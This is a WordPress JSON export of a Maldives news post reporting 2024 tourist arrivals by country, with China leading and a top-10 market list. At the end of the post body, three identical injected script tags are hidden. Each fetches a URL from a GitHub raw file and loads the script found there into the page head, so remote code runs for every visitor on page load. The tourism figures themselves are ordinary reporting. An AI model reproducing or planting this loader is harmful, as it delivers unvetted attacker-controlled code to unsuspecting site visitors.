{"id":8781,"date":"2024-02-05T11:25:33","date_gmt":"2024-02-05T06:25:33","guid":{"rendered":"https:\/\/mbt.mv\/?p=8781"},"modified":"2024-02-05T11:25:33","modified_gmt":"2024-02-05T06:25:33","slug":"china-tops-tourist-arrival-market-to-the-maldives","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=8781","title":{"rendered":"China tops tourist arrival market to the Maldives"},"content":{"rendered":"<p>The latest tourist arrival update posted by the Ministry of Tourism reflects a similar observation of the pre-Covid era as China takes helm as the top tourist market to the Maldives.<\/p>\n<p>The market, which resumed to the Maldives on January 1, 2023 failed to reach to the top two positions throughout last year; however, the resumption of Hong Kong direct arrivals to the Maldives earlier in 2024 has boosted the overall Chinese tourist arrivals to the Maldives.<\/p>\n<p>As such, the market has landed in the top spot with a total of 23,972 arrivals as of February 4, 2024; which is 11.2% of the total arrivals to the Maldives so far. Russia is following closely behind at the second spot with 21,898 arrivals which is 10.2% of the total arrivals while Italy is now in third spot with 21,321 arrivals (9.9%).<\/p>\n<h2>Top 10 Markets 2024<\/h2>\n<ol>\n<li>China: 23,972<\/li>\n<li>Russia: 21,898<\/li>\n<li>Italy: 21,321<\/li>\n<li>UK: 18,078<\/li>\n<li>India: 16,536<\/li>\n<li>Germany: 12,842<\/li>\n<li>France: 7,624<\/li>\n<li>USA: 7,452<\/li>\n<li>Poland: 6,063<\/li>\n<li>Switzerland: 4,211<\/li>\n<\/ol>\n<p>&nbsp;<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The latest tourist arrival update posted by the Ministry of Tourism reflects a similar observation of the pre-Covid era as China takes helm as the top tourist market to the Maldives. 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